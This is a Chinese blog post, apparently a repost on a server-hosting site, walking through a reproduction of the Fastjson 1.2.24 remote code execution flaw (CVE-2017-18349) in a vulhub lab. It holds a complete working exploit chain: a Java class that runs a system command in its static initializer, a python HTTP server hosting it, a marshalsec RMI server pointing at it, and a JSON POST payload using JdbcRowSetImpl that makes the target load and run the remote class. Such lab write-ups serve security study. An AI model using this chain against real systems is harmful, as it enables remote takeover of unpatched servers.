新西兰服务器

怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现


怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现

发布时间:2021-12-14 10:23:05 来源:高防服务器网 阅读:57 作者:柒染 栏目:安全技术

这篇文章将为大家详细讲解有关怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

JSON,全称:JavaScript Object Notation,作为一个常见的轻量级的数据交换格式,应该在一个程序员的开发生涯中是常接触的。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

漏洞影响范围:fastjson<=1.2.24

下面仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境搭建

本文漏洞环境采用vulhub搭建,执行以下命令开启环境

cd /vulhub/fastjson/1.2.24-rce/

docker-compose up -d

执行完毕后访问8090端口,访问如下:

漏洞链接:http://192.168.101.152:8090/

攻击机IP:192.168.101.131

二、漏洞复现

首先将exp进行编译,将以下内容保存为TouchFile.java

import java.lang.Runtime;  import java.lang.Process;    public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"ping", "test.3ztjrz.dnslog.cn"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }  }

之后使用javac编译为class文件,最好是用低版本的java编译,高版本可能利用不了,这里使用的是1.8版本

编译完成后会得到一个TouchFile.class文件,然后在同目录下用python开启http服务,执行以下命令

python -m http.server 8000

然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,执行以下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.101.131:8000/#TouchFile" 9999

之后使用burp发送特定poc数据包

POST / HTTP/1.1  Host: 192.168.101.152:8090  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8        {    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.101.131:9999/TouchFile",        "autoCommit":true    }  }

稍等一下可以可以看到访问152机子的请求

过一会儿就可以看到dnslog收到了请求

命令执行成功

关于怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[